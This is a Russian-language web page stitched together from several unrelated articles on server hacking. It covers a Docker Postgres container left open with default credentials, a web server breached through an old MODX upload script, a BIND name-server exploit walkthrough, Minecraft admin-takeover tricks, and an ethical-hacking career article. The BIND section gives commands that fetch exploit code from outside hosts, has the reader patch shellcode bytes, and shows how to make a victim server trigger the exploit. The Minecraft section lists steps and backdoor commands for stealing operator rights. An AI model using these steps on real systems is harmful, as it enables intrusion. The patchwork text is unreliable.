что такое взлом сервера
Как взламывают веб сервера
Небольшой пример из практики на тему того, как ломают web сервера на Linux. А то некоторые думают, что под линуксом вирусов нет, или что Linux настолько безопасен, что его даже защищать не надо. В общем, показательная история из жизни. Ничего особенного, просто пример, которых наверняка много у любого админа, который работает с разработчиками.
Пересылает мне утром владелец учетной записи в Hetzner информацию о том, что пришло уведомление, что у нас на одном из серверов подозрительная активность и его вырубят, если мы ничего не сделаем. Это тестовый сервер разработчика. Иду по ssh на сервер и вижу.
Вижу явный вирус. Думаю, что майнер какой-нибудь (на виртуалке за 3 евро, хе-хе). Смотрю дерево процессов, чтобы понять, откуда ноги растут.
Все понятно. На сервере стоит Docker. В нем контейнер Postgres. Вирус сидит в контейнере. Иду смотреть, как запущен контейнер. Ничуть не удивлен тем, что он смотрит напрямую в инет.
Дальше решил проверить, с какими параметрами он запущен. Опять не удивляюсь.
В лучших традициях жанра, все запущено с дефолтной учеткой postgres/postgres. Фраза fixme игнорируется.
Решил на всякий случай проверить прод. Захожу, а там все то же самое, но вируса пока нет. Не стал разбираться, чтобы ненароком не словить бан от Hetzner. Первую виртуалку просто удалили. На второй сразу поменяли пароль.
Вот так легко и просто взламываются веб сервера под Linux. Ожидали чего-то большего? Не нужны никакие хакеры, суперсофт и скилл. Достаточно взять какой-то сканер и найти открытые в инет службы. Затем проверить дефолтные пароли к ним и наверняка что-то подойдет. Разработчиков с каждым годом все больше и больше, докер контейнеров тоже. Так что ломать сервера будет все проще и проще.
Тут, конечно, есть недоработка докера. Он зачем-то по дефолту мапит контейнеры к 0.0.0.0, а не к локалхосту. Понятно, что так проще разработчикам, но результат налицо. Разработчики чаще всего не парятся над этим и даже не обращают внимание. Я постоянно вижу на dev серверах контейнеры с backend, смотрящие напрямую в инет. Так что надо обязательно вручную заблокировать доступ к контейнерам Docker из интернета.
В данном случае, достаточно было заблокировать доступ к postgres с помощью iptables:
Расскажите, встречались с похожими, простыми и очевидными факапами?
Взлом сервера через уязвимость на сайте
Заметил в обслуживаемой мной распределенной сети непонятные проблемы. Время от времени мониторинг zabbix сообщает о недоступности хостов, соединенных по vpn. Связь то пропадет, то появится. При этом, когда я начинал вручную проверять, все было как-будто в порядке, но мониторинг упорно указывал на проблемы. Стал подробно разбираться в ситуации.
Симптомы заражения
Сразу скажу, что в решении возникшей проблемы взлома сервера мне в большей степени помог мониторинг. Без него я мог долго не замечать проблемы и не начинал действовать. Итак, в течении дня заметил какие-то сетевые проблемы. Сразу пошел на шлюз смотреть нагрузку и открытые соединения. Ничего необычного там не было, нагрузка средняя, паразитного трафика в большом объеме не видно. И тем не менее какие-то проблемы существуют. Пару раз мне пришло оповещение с внешнего мониторинга о недоступности прямого ip, на котором работает шлюз проблемного офиса. Буквально минутные проблемы, за первым письмом сразу приходит второе о том, что все в порядке.
В заббиксе было очень много оповещений о недоступности агентов разных серверов. Начал внимательно смотреть на оповещения, чтобы рассмотреть систему, заметил среди них информацию о том, что на веб сервере высокая нагрузка CPU. Смотрю график и вижу, что с сервером что-то не так.
Захожу на веб сервер и понимаю, что с ним какие-то проблемы. Очень долго логинюсь. Вспоминаю, что несколько дней назад делал плановое обновление пакетов, после этого спустя где-то день у меня была очень высокая нагрузка на CPU, которую генерировал apache. Беглый осмотр не выявил проблем, я не понял, почему он так нагружает систему. У сервера был аптайм больше года, я решил что надо его на всякий случай перезагрузить. Подумал, что из-за регулярных апдейтов просто накопились какие-то ошибки.
Анализ взломанного сервера
Перезагрузил сервер и нормально зашел на него. Ничего подозрительного не заметил, последний логин был мой. Выполнил следующую последовательность действий для быстрой проверки сервера на предмет взлома:
1. Сразу же сменил пароли всех пользователей, что на нем были.
2. Настроил нормально логи для каждого виртуального хоста. До этого этим никто не занимался, все логи писались в общий файл. Это неудобно в разборе полетов.
3. Посмотрел открытые порты:
Ничего подозрительного не заметил.
4. Установил lsof и посмотрел открытые файлы:
Тоже ничего необычного.
5. Проверил на всякий случай последние установленные пакеты:
Без меня никто ничего не ставил.
6. Проверил задания в cron:
7. Проверил файлы в веб каталогах, созданные за последние 10 часов:
А вот тут уже были интересные данные. В корне одного сайта нашел свежие файлы, замаскированные под скрипты wordpress:
Я посмотрел их содержимое, но знаний не хватило беглым осмотром понять, что они делают. Из-за маскировки под популярные файлы wp, в поисковиках по этим именам ничего полезного не нашлось.
8. Стал внимательно смотреть лог ошибок apache. Нашел там подозрительные строки, которые сразу однозначно показали на взлом через сайт и загрузку вредоносных файлов:
Файлы были разные. Я попытался их найти на сервере, но не нашел ни один из них, что было странно. Некоторые скачал из любопытства и посмотрел, что в них. Особо по коду не понял, что они делают, но было ясно, что идет перебор различных вредоносных скриптов для запуска. Какие-то запускались и работали, а какие-то нет. Похоже, что один из таких скриптов заработал несколько дней назад, когда я впервые заметил проблемы на web сервере.
9. Пошел смотреть логи на проблемном сайте и нашел в них интересные строки:
Вот и нашелся виновник всех бед. По файлу uploadify.php быстро была найдена в гугле информация о старом эксплоите в EvoGallery сайта на MODX.
Лечим взломанный сервер
Из сложившейся ситуации сделал для себя следующие выводы, которые, в принципе, мне и так давно известны 🙂
Если есть подозрения, что с сервером что-то не так, то действуем в такой последовательности:
Будет любопытно услышать комментарии по сложившейся ситуации и какие-то рекомендации по разрешению подобных взломов серверов через сайты. Я уже не раз с подобным сталкивался, всегда тем или иным способом удается вылечить сервер и закрыть дырку. Это лишь вопрос времени. Хотя один раз у меня была ситуация, когда я не смог победить заразу. На сервере происходили непонятные для меня процессы, ставились самопроизвольно пакеты, хотя я приложил все усилия, чтобы разобраться в ситуации. В тот раз мне пришлось сервер переустановить. Зачастую это бывает проще, чем лечить зараженный сервер. Гарантированно настроить новый веб сервер можно за пару часов, а вот лечить взломанный сервер можно гораздо дольше. Так что если проблем с переносом сайтов нет, можно и сервер переставить для 100% гарантии избавления от вирусов.
Удаленный взлом нейм-сервера
Итак что нам потребуется
для взлома сервера.
1. Ящик пива.
2. Машина с выходом в Сеть.
3. Машина в Сети под любым юниксом на которой
вы имеете root доступ.
5. Немного мозгов в общем тоже не помешают 🙂
После этого топаем на www.ripn.ru и
регистрим любой халявный домен. Для примера
возьмем melkosoft.org.ru. На сайте ripn.ru написано что надо
сделать на своих серверах прежде чем посылать
заявку. Как primary name server прописываем свой сервер.
Кроме того вам потребуется secondary name server. Его можно
посадить у себя, если есть где, можно у друзей,
можно, если хорошо попросить, у меня.
В скором времени наш домен
начинает работать. Тут-то и начинается самое
интересное. На нашей машине убиваем bind
затем выкачиваем нужный
эксплойт.
[root@oberon /root]# lynx
http://www.hack.co.za/daem0n/named/t666.c
или
[root@oberon /root]# lynx http://www.oneman.ru/xakep/xakep.xpl.bind.1.c
теперь нужно слегка подправить
исходный код эксплойта. Сгодится любой текстовый
редактор. В теле эксплойта нужно поменять
0x2f,0x61,0x64,0x6d,0x2f на 0x2f,0x62,0x69,0x6e,0x2f. После этого,
перекрестясь, компилим
Эксплойт привязался к порту 53
нашей машины и ждет запроса от жертвы. Как
заставить сервер-жертву (к примеру
ns.cool-security-consulting.com) послать этот запрос? Очень
просто.
[root@oberon /root]# nslookup www.melkosoft.org.ru
ns.cool-security-consulting.com
Эксплойт работает не только
под RedHat но и под другие платформы. Запустите его
без аргументов для получения полной
информации.
Как взламывают сервера в Minecraft
Привет, новый подраздел! Решил в честь открытия рассказать вам из личного опыта о том, как взламывали и взламывают сервера на RU Проектах!
Чтобы рассказать о более популярных методах взлома, я решил показать вам старый способ, очень древний.
Это на столько старый баг, что в то время существовал FalseBook.
Как всё работало:
1)Устанавливаем Nodus
2)Заходим в minecraft со стандартным ником (Своим)
3)Заходим на сервер, и смотрим ник модератора или админа
4)Выходим с сервера, запускаем во втором окне еще 1 minecraft
5)Заходим во вкладку Account Settings
6)Пишем слеш и ник админа или модератораПримерно так (/admin228 )
7)Заходим со второго minecraft на сервер со стандартным ником, ждем пока кикнет (Когда кикнет нечего не нажимать)
8)Когда кикнуло со второго аккаунта и пишем ( /op «свой ник» ) и выходим
9)Заходим с основного и у вас есть админка
Второй способ взлома админки (через табличку)
2)Выживаем, крафтим табличку, Ставим табличку на землю.
3)Пишем во второй строчке
Данная вещь уже по серьёзнее, и в свои времена трепала почти каждому третьему проекту нервы. Не только нервы, но и силы. Так как даже мы не понимали по началу каким образом ломали наши сервера.
Суть данного способа заключается в открытых портах, через которые подключался человек, после чего можно было творить всё что душе угодно. На самом деле способ тоже довольно старый, и я нашёл только способ его решения.
Ещё смешнее способ, суть его состоит в вшитом эксплоите в плагине. Точнее, в вшитой команде внутри плагина. Этим способом пользовались Ютуберы в Ру сегменте по майнкрафту, снимая «Сливы школо-серверов». Они загружали готовые сборки серверов на форумы по игре, загружали в эти сборки плагин, в котором сидел злой Эксплоит.
Список подобных команд, которые вшивали в плагины. После их выполнения выдавался полный доступ (в плагине Пермишенс выдавалась «*» эта звёздочка в плагине значит, что вам выдаются права на все команды)
/ncp delay op ник- выполняет команду от лица консоли
Этичный хакинг: как взламывать системы и при этом зарабатывать легально
Кто такой хакер? Большинство людей, которые далеки от программирования, представляют перед собой злостного преступника, взламывающего системы безопасности банков, чтобы украсть деньги. Что-то вроде героя Хью Джекмана из фильма «Пароль —“Рыба-меч”», который взламывает шифр Вернама, чтобы украсть из правительственного фонда 9,5 млрд. долларов.
Хакером можно быть и легально. Таких специалистов называют пентестеры, или «этичные хакеры». Вот только нужно хорошо знать, что можно делать во время тестирования системы на проникновение, а что — нельзя. Иначе можно получить вполне реальные проблемы с законом. Совсем недавно мы запустили курс «Этичный хакер», и в этой статье мы поговорим, как заниматься хакингом, зарабатывать на этом неплохие деньги и при этом не иметь проблем с законом. Поехали.
Что грозит хакеру по закону РФ
Для начала поговорим о проблемах, которые могут свалиться на хакера. Практически все правонарушения, связанные со взломом систем и получения доступа к ним, касаются трех законов:
Согласно ст. 13. КоАП РФ (Административные правонарушения в области связи и информации), за разглашение информации с ограниченным доступом, нарушение порядка хранения, использования и распространения персональных данных может грозить штраф от 300 до 20 000 рублей. Это для физических лиц. Для юридических лиц размер штрафа гораздо больше.
В основном она касается людей, которые имеют доступ к подобной информации, и организаций, которые собирают персональные данные клиентов.
К примеру, интернет-магазин собирает клиентскую базу с именами, номерами телефонов и email-ами. А ушлый менеджер решает собрать базу и скопировать ее для дальнейшей продажи на сторону.
Если подобное действие не стало причиной серьезного ущерба, а на менеджера не поступило жалоб в правоохранительные органы, то правонарушение может быть квалифицировано по ст. 13.11 п. 8 КоАП РФ. Наказание за него — штраф в размере от 30 000 до 60 000 рублей.
Что касается уголовного законодательства, то хакеру-злоумышленнику в большинстве случаев грозят следующие статьи УК РФ:
Небольшое отступление. Пентестеры также используют сторонние программы для взлома систем безопасности и получения доступа к закрытой информации. Легальных программ для взлома не существует, поэтому компания, которая заказывает пентестинг, должна в письменной форме дать добровольное согласие на использование сторонних программ. Также пентестеры обычно подписывают соглашение о неразглашении сведений, полученных в ходе атак.
Пентестер: отличия от хакера
Пентестер — это хакер, который работает полностью легально и в рамках закона. Суть его работы — поиск уязвимостей в системах безопасности.
Но есть несколько серьезных отличий:
Пентестер работает исключительно по программам Bug Bounty или после заключения контракта с компанией. Из-за того, что сам процесс пентестинга связан со взломом защиты, процедура очень формализованная.
Нельзя просто найти уязвимость в системе защиты и указать на нее владельцу. Потому что за это можно получить вполне реальное обвинение.
В 2017 году 18-летний хакер нашел уязвимость в системе безопасности венгерской транспортной компании BKK. Баг был простой — с помощью инструментов для разработчика в браузере парень изменил исходный код страницы, вписав свою цену на билет (20 центов вместо 30 евро). Валидация цены не проводилась ни на сервере, ни на стороне клиента, поэтому хакер смог купить билет за эту цену.
После этого он обратился к представителям компании, раскрыв всю информацию об уязвимости. Но получил не благодарность, а уголовное дело. Транспортная компания «обиделась» и подала на него в суд. Парня арестовали.
История закончилась хорошо. Она получила большой резонанс в СМИ, пользователи просто обрушили рейтинг компании в Facebook. А с учетом того, что компания якобы тратила свыше миллиона долларов на защиту данных каждый год, обнаружение такого глупого бага, которым мог воспользоваться любой человек, просто уничтожило ее репутацию.
У парня были благородные намерения — он хотел указать на дыру в системе продаж билетов, наглядно продемонстрировав ее. Но при этом его действия все равно можно квалифицировать как взлом системы безопасности. А это уголовное дело.
Формально компания была полностью права, выдвигая ему обвинения. Какими бы ни были намерения парня, он нарушил закон. И от реального срока его спас только общественный резонанс.
Bug Bounty: как участвовать правильно
Большинство крупных компаний ведут Bug Bounty — специальные программы, в которой компании-разработчики ПО или сайтов предлагают вознаграждение за найденные уязвимости. Компаниям выгоднее платить за найденные ошибки, чем разбираться с последствиями, к которым могут привести эксплойты и уязвимости.
Большинство таких программ размещены на сайтах HackerOne и BugCrowd.
К примеру, вот программы Bug Bounty от Google API, Nginx, PayPal, GitHub, Valve. Средний размер премии за каждый найденный баг в этих программах — 1000 долларов. Есть огромное количество компаний поменьше, которые предлагают 50-100 долларов за ошибку.
Даже Пентагон запускал Bug Bounty! Это же просто мечта для хакера — взломать систему защиты Пентагона, да еще и получить деньги за это от правительства США.
Но даже опубликованная Bug Bounty не означает, что можно ломать и искать дырки где попало. В описании программы владельцы прописывают, какие именно уязвимости будут рассматриваться.
К примеру, Uber дает очень подробное объяснение, что входит в их программу Bug Bounty, а что — нет.
Компания хочет найти уязвимости в системах доступа и хранения данных, возможностей фишинга, оплаты и счетов, несанкционированных действий со стороны пользователя и сотрудников компании. Но в программу не входят общие баги приложения, отчеты о мошенничестве, баги в работе с соцсетями и email-рассылкой.
Впрочем, с чувством юмора у них все нормально. Потому что среди неоплаченных действий есть и следующее:
Entering the Uber offices, throwing crisps everywhere, unleashing a bunch of hungry raccoons, and hijacking an abandoned terminal on an unlocked workstation while staff are distracted
Входить в офис Uber, разбрасывая везде чипсы, выпуская кучу голодных енотов и захват свободного терминала или рабочего места, пока сотрудники сбиты с толку.
Чем подробнее описана Bug bounty, тем проще пентестеру понять, что можно «пробовать на зуб», а чего делать не стоит.
При этом есть общие правила, которые нарушать нельзя. К примеру, при обнаружении уязвимостей в базах данных пользователей нельзя пытаться скачать какие-либо личные данные. Даже при участии в программе это может быть расценено как нарушение закона. Потому что здесь нарушаются права именно пользователей, к которым Bug bounty не имеет никакого отношения.
Российский рынок пентестинга тоже активно развивается. На нем уже есть ряд крупных игроков, которые работают с большими корпорациями. К примеру, Digital Security, НТЦ «Вулкан», Group-IB, BI.ZONE, «Лаборатория Касперского». Но конкуренция на рынке еще довольно невысокая, так что можно вполне комфортно работать и индивидуально.
Некоторые крупные компании вроде «Газпрома» или банковских организаций создают отдельные внутренние подразделения пентестеров, чтобы не раскрывать конфиденциальные данные сторонним организациям.
Поэтому для пентестера есть несколько возможностей:
Чтобы подстраховаться от нечестных компаний, рекомендуем работать через сайты HackerOne и BugCrowd. Просто зарегистрируйтесь и подавайте заявки с обнаруженными багами через них.
Единственное правило — очень детально читать описание программы. Если компания пишет, что платит за уязвимости баз данных, то искать нужно только там. Даже если вы найдете баг где-нибудь еще, то за него не заплатят. Даже наоборот — могут начаться проблемы.
Уэсли Вайнберг в 2015 году нашел одну из самых серьезных брешей в защите Instagram. В ходе пентестинга он обнаружил Ruby-уязвимость, которая позволила ему запустить удаленное воспроизведение произвольного кода.
Это позволило ему прочитать файлы конфигурации, которые содержали доступы к базе PostgreSQL. Там были 60 аккаунтов сотрудников Instagram и Facebook. Как утверждает Вайнберг, взломать их не составило труда — большинство паролей были крайне слабыми — вроде «password» или «instagram».
Далее он получил доступ к нескольким ключам Amazon Web Services, которые ассоциировались с 82 бакетами S3. И в этих бакетах было настоящее сокровище для хакера: исходные коды Instagram, SSL-сертификаты, API-ключи, данные email-сервера, ключи подписей для приложений iOS и Android. Можно сказать, что пентестер получил полный доступ ко всем секретным материалам Instagram.
Он честно сообщил об этой находке представителям Facebook. За один баг ему действительно выплатили 2500 долларов. Но также он получил обвинение в несанкционированном доступе к аккаунтам сотрудников, бан в программе Bug bounty от Facebook и угрозу уголовного преследования. Хотя уголовное дело не было возбуждено, нервы пентестеру потрепали изрядно.
Так что следование прописанным пунктам Bug bounty — это просто обязательно. Иначе можно получить не премию, а обвинение.
Что должен уметь пентестер
Пентестер — это одновременно «универсальный солдат» и узконаправленный специалист. Ему нужно обладать широкими знаниями во многих отраслях программирования и при этом глубокими навыками в одной или нескольких сферах.
В целом считается, что Junior-пентестер должен обладать следующими знаниями:
Также нужно научиться использовать программы для пентестинга вроде BurpSuite, SqlMap, Nmap, IP Tools и Acunetix.
Собственно, именно поэтому в пентестинг рекомендуют идти тем специалистам, у которых уже есть определенный бэкграунд в разработке или тестировании. Потому что даже для уровня Junior количество необходимых знаний просто огромно.
Где учиться на пентестера
И напоследок мы собрали несколько популярных ресурсов, на которых можно получить всю необходимую информацию для профессии пентестера:
Если вы хотите стать пентестером — путь открыт. Но вот стать хорошим пентестером, который зарабатывает десятки тысяч долларов в месяц, намного сложнее. Это уже больше похоже на искусство, а не на ремесло. Готовы к такому? Тогда вперед!
А промокод HABR даст вам получить дополнительные 10% к скидке указанной на баннере.